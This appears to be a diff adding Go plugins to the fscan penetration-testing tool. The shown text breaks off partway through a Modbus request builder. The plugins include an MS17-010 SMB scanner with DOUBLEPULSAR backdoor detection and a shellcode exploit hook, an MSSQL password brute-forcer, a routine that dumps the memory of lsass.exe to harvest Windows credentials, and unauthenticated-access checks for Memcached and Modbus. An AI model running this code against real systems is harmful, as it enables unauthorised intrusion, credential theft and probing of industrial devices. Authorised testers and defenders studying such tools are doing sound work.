||||
// SMB协议解密后的请求数据
|
||||
negotiateProtocolRequest []byte
|
||||
sessionSetupRequest []byte
|
||||
treeConnectRequest []byte
|
||||
transNamedPipeRequest []byte
|
||||
trans2SessionSetupRequest []byte
|
||||
)
|
||||
|
||||
func init() {
|
||||
var err error
|
||||
|
||||
// 解密协议请求
|
||||
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话请求
|
||||
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
sessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密连接请求
|
||||
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
treeConnectRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密管道请求
|
||||
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
transNamedPipeRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
// 解密会话设置请求
|
||||
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
// MS17010 扫描入口函数
|
||||
func MS17010(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
err := MS17010Scan(info)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func MS17010Scan(info *Common.HostInfo) error {
|
||||
ip := info.Host
|
||||
|
||||
// 连接目标
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接错误: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("设置超时错误: %v", err)
|
||||
}
|
||||
|
||||
// SMB协议协商
|
||||
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
|
||||
return fmt.Errorf("发送协议请求错误: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 1024)
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取协议响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("协议响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return fmt.Errorf("协议协商被拒绝")
|
||||
}
|
||||
|
||||
// 建立会话
|
||||
if _, err = conn.Write(sessionSetupRequest); err != nil {
|
||||
return fmt.Errorf("发送会话请求错误: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取会话响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("会话响应不完整")
|
||||
}
|
||||
|
||||
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
|
||||
return fmt.Errorf("会话建立失败")
|
||||
}
|
||||
|
||||
// 提取系统信息
|
||||
var os string
|
||||
sessionSetupResponse := reply[36:n]
|
||||
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
|
||||
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
|
||||
if n != int(byteCount)+45 {
|
||||
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
|
||||
} else {
|
||||
for i := 10; i < len(sessionSetupResponse)-1; i++ {
|
||||
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
|
||||
os = string(sessionSetupResponse[10:i])
|
||||
os = strings.Replace(os, string([]byte{0x00}), "", -1)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 树连接请求
|
||||
userID := reply[32:34]
|
||||
treeConnectRequest[32] = userID[0]
|
||||
treeConnectRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(treeConnectRequest); err != nil {
|
||||
return fmt.Errorf("发送树连接请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取树连接响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("树连接响应不完整")
|
||||
}
|
||||
|
||||
// 命名管道请求
|
||||
treeID := reply[28:30]
|
||||
transNamedPipeRequest[28] = treeID[0]
|
||||
transNamedPipeRequest[29] = treeID[1]
|
||||
transNamedPipeRequest[32] = userID[0]
|
||||
transNamedPipeRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(transNamedPipeRequest); err != nil {
|
||||
return fmt.Errorf("发送管道请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取管道响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("管道响应不完整")
|
||||
}
|
||||
|
||||
// 漏洞检测部分添加 Output
|
||||
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
|
||||
// 构造基本详情
|
||||
details := map[string]interface{}{
|
||||
"port": "445",
|
||||
"vulnerability": "MS17-010",
|
||||
}
|
||||
if os != "" {
|
||||
details["os"] = os
|
||||
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
|
||||
}
|
||||
|
||||
// 保存 MS17-010 漏洞结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: ip,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// DOUBLEPULSAR 后门检测
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
trans2SessionSetupRequest[32] = userID[0]
|
||||
trans2SessionSetupRequest[33] = userID[1]
|
||||
|
||||
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
|
||||
return fmt.Errorf("发送后门检测请求错误: %v", err)
|
||||
}
|
||||
|
||||
if n, err := conn.Read(reply); err != nil || n < 36 {
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取后门检测响应错误: %v", err)
|
||||
}
|
||||
return fmt.Errorf("后门检测响应不完整")
|
||||
}
|
||||
|
||||
if reply[34] == 0x51 {
|
||||
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
|
||||
|
||||
// 保存 DOUBLEPULSAR 后门结果
|
||||
backdoorResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: ip,
|
||||
Status: "backdoor",
|
||||
Details: map[string]interface{}{
|
||||
"port": "445",
|
||||
"type": "DOUBLEPULSAR",
|
||||
"os": os,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(backdoorResult)
|
||||
}
|
||||
|
||||
// Shellcode 利用部分保持不变
|
||||
if Common.Shellcode != "" {
|
||||
defer MS17010EXP(info)
|
||||
}
|
||||
} else if os != "" {
|
||||
Common.LogInfo(fmt.Sprintf("系统信息 %s [%s]", ip, os))
|
||||
|
||||
// 保存系统信息
|
||||
sysResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: ip,
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"port": "445",
|
||||
"service": "smb",
|
||||
"os": os,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(sysResult)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
139
Plugins/MSSQL.go
Normal file
139
Plugins/MSSQL.go
Normal file
@ -0,0 +1,139 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MssqlScan 执行MSSQL服务扫描
|
||||
func MssqlScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
totalUsers := len(Common.Userdict["mssql"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["mssql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
// 执行MSSQL连接
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := MssqlConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
// 等待结果或超时
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "mssql",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("MSSQL %s %v %v %v", target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// MssqlConn 尝试MSSQL连接
|
||||
func MssqlConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串
|
||||
connStr := fmt.Sprintf(
|
||||
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v",
|
||||
host, username, password, port, timeout,
|
||||
)
|
||||
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("mssql", connStr)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
db.SetConnMaxIdleTime(timeout)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
// 测试连接
|
||||
if err = db.Ping(); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
60
Plugins/Memcached.go
Normal file
60
Plugins/Memcached.go
Normal file
@ -0,0 +1,60 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MemcachedScan 检测Memcached未授权访问
|
||||
func MemcachedScan(info *Common.HostInfo) error {
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 建立TCP连接
|
||||
client, err := Common.WrapperTcpWithTimeout("tcp", realhost, timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer client.Close()
|
||||
|
||||
// 设置超时时间
|
||||
if err := client.SetDeadline(time.Now().Add(timeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 发送stats命令
|
||||
if _, err := client.Write([]byte("stats\n")); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
rev := make([]byte, 1024)
|
||||
n, err := client.Read(rev)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("Memcached %v:%v %v", info.Host, info.Ports, err))
|
||||
return err
|
||||
}
|
||||
|
||||
// 检查响应内容
|
||||
if strings.Contains(string(rev[:n]), "STAT") {
|
||||
// 保存结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "memcached",
|
||||
"type": "unauthorized-access",
|
||||
"description": "Memcached unauthorized access",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
Common.LogSuccess(fmt.Sprintf("Memcached %s 未授权访问", realhost))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
319
Plugins/MiniDump.go
Normal file
319
Plugins/MiniDump.go
Normal file
@ -0,0 +1,319 @@
|
||||
//go:build windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/sys/windows"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||
MAX_PATH = 260
|
||||
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
|
||||
ERROR_SUCCESS = 0
|
||||
)
|
||||
|
||||
type PROCESSENTRY32 struct {
|
||||
dwSize uint32
|
||||
cntUsage uint32
|
||||
th32ProcessID uint32
|
||||
th32DefaultHeapID uintptr
|
||||
th32ModuleID uint32
|
||||
cntThreads uint32
|
||||
th32ParentProcessID uint32
|
||||
pcPriClassBase int32
|
||||
dwFlags uint32
|
||||
szExeFile [MAX_PATH]uint16
|
||||
}
|
||||
|
||||
type LUID struct {
|
||||
LowPart uint32
|
||||
HighPart int32
|
||||
}
|
||||
|
||||
type LUID_AND_ATTRIBUTES struct {
|
||||
Luid LUID
|
||||
Attributes uint32
|
||||
}
|
||||
|
||||
type TOKEN_PRIVILEGES struct {
|
||||
PrivilegeCount uint32
|
||||
Privileges [1]LUID_AND_ATTRIBUTES
|
||||
}
|
||||
|
||||
// ProcessManager 处理进程相关操作
|
||||
type ProcessManager struct {
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// 创建新的进程管理器
|
||||
func NewProcessManager() (*ProcessManager, error) {
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||
}
|
||||
|
||||
return &ProcessManager{
|
||||
kernel32: kernel32,
|
||||
dbghelp: dbghelp,
|
||||
advapi32: advapi32,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("CreateToolhelp32Snapshot")
|
||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||
return 0, fmt.Errorf("创建进程快照失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||
var pe32 PROCESSENTRY32
|
||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||
|
||||
proc32First := pm.kernel32.MustFindProc("Process32FirstW")
|
||||
proc32Next := pm.kernel32.MustFindProc("Process32NextW")
|
||||
lstrcmpi := pm.kernel32.MustFindProc("lstrcmpiW")
|
||||
|
||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
return 0, fmt.Errorf("获取第一个进程失败")
|
||||
}
|
||||
|
||||
for {
|
||||
ret, _, _ = lstrcmpi.Call(
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(name))),
|
||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return pe32.th32ProcessID, nil
|
||||
}
|
||||
|
||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
proc := pm.kernel32.MustFindProc("CloseHandle")
|
||||
proc.Call(handle)
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) ElevatePrivileges() error {
|
||||
handle, err := pm.getCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var token syscall.Token
|
||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("打开进程令牌失败: %v", err)
|
||||
}
|
||||
defer token.Close()
|
||||
|
||||
var tokenPrivileges TOKEN_PRIVILEGES
|
||||
|
||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
ret, _, err := lookupPrivilegeValue.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))),
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("查找特权值失败: %v", err)
|
||||
}
|
||||
|
||||
tokenPrivileges.PrivilegeCount = 1
|
||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||
|
||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
ret, _, err = adjustTokenPrivileges.Call(
|
||||
uintptr(token),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("调整令牌特权失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||
handle, _, _ := proc.Call()
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||
}
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) DumpProcess(pid uint32, outputPath string) error {
|
||||
processHandle, err := pm.openProcess(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(processHandle)
|
||||
|
||||
fileHandle, err := pm.createDumpFile(outputPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(fileHandle)
|
||||
|
||||
miniDumpWriteDump := pm.dbghelp.MustFindProc("MiniDumpWriteDump")
|
||||
ret, _, err := miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
0x00061907, // MiniDumpWithFullMemory
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("写入转储文件失败: %v", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
proc := pm.kernel32.MustFindProc("OpenProcess")
|
||||
handle, _, err := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("打开进程失败: %v", err)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
createFile := pm.kernel32.MustFindProc("CreateFileW")
|
||||
handle, _, err := createFile.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
syscall.GENERIC_WRITE,
|
||||
0,
|
||||
0,
|
||||
syscall.CREATE_ALWAYS,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
return 0, fmt.Errorf("创建文件失败: %v", err)
|
||||
}
|
||||
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// 查找目标进程
|
||||
func (pm *ProcessManager) FindProcess(name string) (uint32, error) {
|
||||
snapshot, err := pm.createProcessSnapshot()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer pm.closeHandle(snapshot)
|
||||
|
||||
return pm.findProcessInSnapshot(snapshot, name)
|
||||
}
|
||||
|
||||
// 检查是否具有管理员权限
|
||||
func IsAdmin() bool {
|
||||
var sid *windows.SID
|
||||
err := windows.AllocateAndInitializeSid(
|
||||
&windows.SECURITY_NT_AUTHORITY,
|
||||
2,
|
||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&sid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer windows.FreeSid(sid)
|
||||
|
||||
token := windows.Token(0)
|
||||
member, err := token.IsMember(sid)
|
||||
return err == nil && member
|
||||
}
|
||||
|
||||
func MiniDump(info *Common.HostInfo) (err error) {
|
||||
// 先检查管理员权限
|
||||
if !IsAdmin() {
|
||||
Common.LogError("需要管理员权限才能执行此操作")
|
||||
return fmt.Errorf("需要管理员权限才能执行此操作")
|
||||
}
|
||||
|
||||
pm, err := NewProcessManager()
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("初始化进程管理器失败: %v", err))
|
||||
return fmt.Errorf("初始化进程管理器失败: %v", err)
|
||||
}
|
||||
|
||||
// 查找 lsass.exe
|
||||
pid, err := pm.FindProcess("lsass.exe")
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("查找进程失败: %v", err))
|
||||
return fmt.Errorf("查找进程失败: %v", err)
|
||||
}
|
||||
Common.LogSuccess(fmt.Sprintf("找到进程 lsass.exe, PID: %d", pid))
|
||||
|
||||
// 提升权限
|
||||
if err := pm.ElevatePrivileges(); err != nil {
|
||||
Common.LogError(fmt.Sprintf("提升权限失败: %v", err))
|
||||
return fmt.Errorf("提升权限失败: %v", err)
|
||||
}
|
||||
Common.LogSuccess("成功提升进程权限")
|
||||
|
||||
// 创建输出路径
|
||||
outputPath := filepath.Join(".", fmt.Sprintf("fscan-%d.dmp", pid))
|
||||
|
||||
// 执行转储
|
||||
if err := pm.DumpProcess(pid, outputPath); err != nil {
|
||||
os.Remove(outputPath)
|
||||
Common.LogError(fmt.Sprintf("进程转储失败: %v", err))
|
||||
return fmt.Errorf("进程转储失败: %v", err)
|
||||
}
|
||||
|
||||
Common.LogSuccess(fmt.Sprintf("成功将进程内存转储到文件: %s", outputPath))
|
||||
return nil
|
||||
}
|
9
Plugins/MiniDumpUnix.go
Normal file
9
Plugins/MiniDumpUnix.go
Normal file
@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import "github.com/shadow1ng/fscan/Common"
|
||||
|
||||
func MiniDump(info *Common.HostInfo) (err error) {
|
||||
return nil
|
||||
}
|
121
Plugins/Modbus.go
Normal file
121
Plugins/Modbus.go
Normal file
@ -0,0 +1,121 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ModbusScan 执行 Modbus 服务扫描
|
||||
func ModbusScan(info *Common.HostInfo) error {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 尝试建立连接
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%s", host, port), timeout)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 构造Modbus TCP请求包 - 读取设备ID
|
||||
request := buildModbusRequest()
|
||||
|
||||
// 设置读写超时
|
||||
conn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 发送请求
|
||||
_, err = conn.Write(request)
|
||||
if err != nil {
|
||||
return fmt.Errorf("发送Modbus请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
response := make([]byte, 256)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return fmt.Errorf("读取Modbus响应失败: %v", err)
|
||||
}
|
||||
|
||||
// 验证响应
|
||||
if isValidModbusResponse(response[:n]) {
|
||||
// 获取设备信息
|
||||
deviceInfo := parseModbusResponse(response[:n])
|
||||
|
||||
// 保存扫描结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": port,
|
||||
"service": "modbus",
|
||||
"type": "unauthorized-access",
|
||||
"device_id": deviceInfo,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
Common.LogSuccess(fmt.Sprintf("Modbus服务 %v:%v 无认证访问", host, port))
|
||||
if deviceInfo != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("设备信息: %s", deviceInfo))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return fmt.Errorf("非Modbus服务或访问被拒绝")
|
||||
}
|
||||
|
||||
// buildModbusRequest 构建Modbus TCP请求包
|
||||
func buildModbusRequest() []byte {
|
||||
request := make([]byte, 12)
|
||||
|
||||
// Modbus TCP头部
|
||||
binary.BigEndian.PutUint16(request[0:], 0x0001) // 事务标识符
|
||||
binary.BigEndian.PutUint16(request[2:], 0x0000) // 协议标识符
|
||||
binary.BigEndian.PutUint16(request[4:], 0x0006) // 长度
|
||||
request[6] = 0x01 // 单元标识符
|
||||
|
||||
// Modbus 请求
|
||||
